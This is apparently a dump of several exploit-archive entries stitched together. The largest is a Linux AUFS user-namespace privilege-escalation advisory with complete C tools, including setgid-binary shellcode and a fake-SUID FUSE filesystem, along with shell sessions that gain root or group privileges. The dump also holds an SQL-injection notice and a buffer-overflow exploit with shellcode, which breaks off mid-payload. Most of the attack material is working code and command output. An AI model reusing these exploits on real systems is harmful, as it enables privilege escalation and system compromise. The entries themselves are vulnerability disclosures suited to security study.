drwxr-xr-x 2 root  root     0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root  root       0 Dec 27 12:48 .
drwxr-xr-x 7 test users   4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users   5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27  2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0

On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.




--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---
            
Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/

## Introduction

Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.
For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.

## AUFS Over Fuse: Loss of Nosuid

Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:

- Mount fuse filesystem exposing crafted SUID binary
- Create USERNS
- Mount aufs on top of fuse
- Execute the SUID binary via aufs from outside the namespace

The issue can then be demonstrated using:

SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)

test$ mkdir fuse mnt work
test$ mv SuidExec RealFile
test$ ./FuseMinimal fuse
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=work:fuse none mnt
root$ cd mnt
# Now cwd of the former process is within the aufs mount. Use
# another shell to complete.
test$ /proc/2390/cwd/file /bin/bash
root$ id
uid=0(root) gid=100(users) groups=100(users)
# Go back to old shell for cleanup.
root$ cd ..; umount mnt; exit
test$ fusermount -u fuse

Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.
In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.

## AUFS Xattr Setgid Privilege Escalation

Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)

Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit.

test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ mkdir mnt test
test$ setfacl -m "d:u:$(id -u):rwx" test
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=test:/var none mnt
root$ chmod 07777 mnt/mail
root$ umount mnt; exit
test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg
test$ test/mail/escalate ./SuidExec /usr/bin/id
uid=1000(test) gid=8(mail) groups=8(mail),100(users)

On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.

According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.







--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool changes to uid/gid 0 and executes the program supplied
 *  via arguments.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {
  if(argc<2) {
    fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
    return(1);
  }

  int rUid, eUid, sUid, rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  if(setresuid(sUid, sUid, rUid)) {
    fprintf(stderr, "Failed to set uids\n");
    return(1);
  }
  if(setresgid(sGid, sGid, rGid)) {
    fprintf(stderr, "Failed to set gids\n");
    return(1);
  }

  execve(argv[1], argv+1, environ);

  return(1);
}
--- EOF ---

--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
 *
 *  See also /usr/include/fuse/fuse.h
 */

#define FUSE_USE_VERSION 28

#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static FILE	*logFile;

static char	*fileNameNormal="/file";
static char	*fileNameCharDev="/chardev";
static char	*fileNameNormalSubFile="/dir/file";

static char	*realFileName="./RealFile";
static int	realFileHandle=-1;

static int io_getattr(const char *path, struct stat *stbuf) {
  fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
      path, stbuf);
  fflush(logFile);

  int res=-ENOENT;
  memset(stbuf, 0, sizeof(struct stat));
  if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  } else if(strcmp(path, fileNameCharDev)==0) {
//    stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
  } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
  } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;

    if(realFileName) {
      if(fstat(realFileHandle, stbuf)) {
        fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
            realFileName, errno, strerror(errno));
      } else {
// Just change uid/suid, which is far more interesting during testing
        stbuf->st_mode|=S_ISUID;
        stbuf->st_uid=0;
        stbuf->st_gid=0;
      }
    } else {
      stbuf->st_mode=S_ISUID|S_IFREG|0777;
      stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
  }

  return(res);
}


static int io_readlink(const char *path, char *buffer, size_t length) {
  fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
      path, buffer, (long)length);
  fflush(logFile);
  return(-1);
}


static int io_unlink(const char *path) {
  fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
  fflush(logFile);
  return(0);
}


static int io_rename(const char *oldPath, const char *newPath) {
  fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
      oldPath, newPath);
  fflush(logFile);
  return(0);
}


static int io_chmod(const char *path, mode_t mode) {
  fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
  fflush(logFile);
  return(0);
}


static int io_chown(const char *path, uid_t uid, gid_t gid) {
  fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
  fflush(logFile);
  return(0);
}


/** Open a file. This function checks access permissions and may
 *  associate a file info structure for future access.
 *  @returns 0 when open OK
 */
static int io_open(const char *path, struct fuse_file_info *fi) {
  fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
  fflush(logFile);

  return(0);
}


static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
      path, buffer, (long)length, (long)offset, fi);
  fflush(logFile);

  if(length<0) return(-1);
  if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
      if((offset<0)||(offset>4)) return(-1);
      if(offset+length>4) length=4-offset;
      if(length>0) memcpy(buffer, "xxxx", length);
      return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
      fprintf(stderr, "read: seek on %s failed\n", path);
      return(-1);
    }
    return(read(realFileHandle, buffer, length));
  }
  return(-1);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
      path, buf, filler, ((long)offset), fi);
  fflush(logFile);

  (void) offset;
  (void) fi;
  if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
  } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
  }
  return -ENOENT;
}


static int io_access(const char *path, int mode) {
  fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
      path, mode);
  fflush(logFile);
  return(0);
}


static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
  fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
      path, cmd, arg, fi, flags, data);
  fflush(logFile);
  return(0);
}


static struct fuse_operations hello_oper = {
  .getattr	= io_getattr,
  .readlink	= io_readlink,
// .getdir =  deprecated
// .mknod
// .mkdir
  .unlink	= io_unlink,
// .rmdir
// .symlink
  .rename	= io_rename,
// .link
  .chmod	= io_chmod,
  .chown	= io_chown,
// .truncate
// .utime
  .open = io_open,
  .read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
  .readdir	= io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
  .access	= io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
 .ioctl = io_ioctl,
// .poll
};

int main(int argc, char *argv[]) {
  char	buffer[128];

  realFileHandle=open(realFileName, O_RDWR);
  if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
  }

  snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
  logFile=fopen(buffer, "a");
  if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
  }
  fprintf(logFile, "Starting fuse init\n");
  fflush(logFile);

  return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---

--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---

--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
 *  License: https://www.gnu.org/licenses/lgpl-3.0.en.html
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
--- EOF ---
            
# # # # #
# Exploit Title: Opensource Classified Ads Script - SQL Injection
# Google Dork: N/A
# Date: 29.03.2017
# Vendor Homepage: http://www.2daybiz.com/
# Software: http://www.professionalclassifiedscript.com/downloads/opensource-classified-ads-script-2/
# Demo: http://198.38.86.159/~classic/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/advance_result.php?keyword=[SQL]&adv_search
# class_2daydiscount :d_hotlisting
# class_admin :adm_id
# class_admin :adm_username
# class_admin :adm_password
# class_admin :adm_lastvisit
# class_category :c_id
# # # # #
            
author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: VX Search Enterprise v9.5.12 email verify exploit
# Date: 2017.03.28
# Exploit Author: Greg Priest
# Version: VX Search Enterprise v9.5.12
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import socket

port = 25
s = socket.socket()
ip = '127.0.0.1'            
s.bind((ip, port))            
s.listen(5)                    

overflow = "A" * 256
eip = "\x7A\xB7\x1B\x65"
# Search NO ASLR with mona.py
#"\x94\x21\x1C\x65" NO ASLR QtGui4.dll
#"\x7A\xB7\x1B\x65" NO ASLR QtGui4.dll
#"\x09\xc9\x1D\x65" NO ASLR QtGui4.dll
nop = "\x90" * 12
#calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
